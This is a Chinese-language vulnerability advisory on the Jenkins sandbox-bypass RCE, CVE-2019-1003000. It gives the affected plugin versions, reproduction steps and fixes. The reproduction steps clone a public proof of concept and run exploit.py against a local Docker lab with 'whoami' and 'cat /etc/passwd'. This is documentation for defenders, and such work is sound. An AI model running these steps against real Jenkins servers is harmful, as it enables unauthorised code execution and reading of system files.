2.18.1 CVE-2019-1003000
漏洞名称
Jenkins 远程代码执行漏洞(CVE-2019-1003000)
漏洞等级
高危
漏洞描述
该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。
漏洞影响
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.5.0
漏洞复现
复现漏洞CVE-2019-1003000 (Script Security)
测试环境需要安装docker
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
pip install -r requirements.txt
cd sample-vuln
./run.sh
浏览器访问:127.0.0.1:8080:
Username:user1;password:user1登录
Poc进行攻击: 回到cve-2019-1003000-jenkins-rce-poc目录:$ cd ../
$ sudo chmod 744 exploit.py
$ sudo python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
sudo python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
漏洞修复
Declarative Plugin 更新至 1.3.4.1版本
https://plugins.jenkins.io/pipeline-model-definition
Groovy Plugin 更新至2.61.1版本
https://plugins.jenkins.io/workflow-cps
Script Security Plugin 更新至1.50版本
Last updated